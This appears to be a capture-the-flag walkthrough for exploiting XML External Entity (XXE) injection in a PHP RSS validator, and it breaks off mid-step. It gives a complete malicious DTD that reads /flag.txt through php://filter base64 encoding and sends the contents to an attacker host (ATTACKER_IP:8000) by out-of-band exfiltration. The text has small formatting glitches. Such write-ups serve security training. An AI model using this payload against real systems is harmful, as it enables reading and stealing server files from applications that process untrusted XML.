
The application is a PHP-based RSS Validator that accepts XML input. It explicitly enables external entity loading (libxml_disable_entity_loader(false) and LIBXML_NOENT).
This makes it vulnerable to XML External Entity (XXE) injection. Since the response does not show the file content, we use Out-of-Band (OOB) exfiltration.
Since the application is running PHP, we can use the powerful php://filter wrapper to Base64 encode the flag before exfiltration. This ensures that special characters in the flag (like {, }, newlines) do not break the HTTP request URL.
You need a server that the challenge container can reach. Let's assume your attacker URL is: http://ATTACKER_IP:8000
evil.dtd)Create evil.dtd on your attacker server. Notice the use of php://filter:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag.txt">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://ATTACKER_IP:8000/?data=%file;'>">
%eval;
%exfiltrate;
Explanation:
%file reads /flag.txt but runs it through the base64-encode filter first.%eval creates the %exfiltrate entity that requests your server with ?data=BASE64_CONTENT..dtd file on your Kali Linux attacker machine: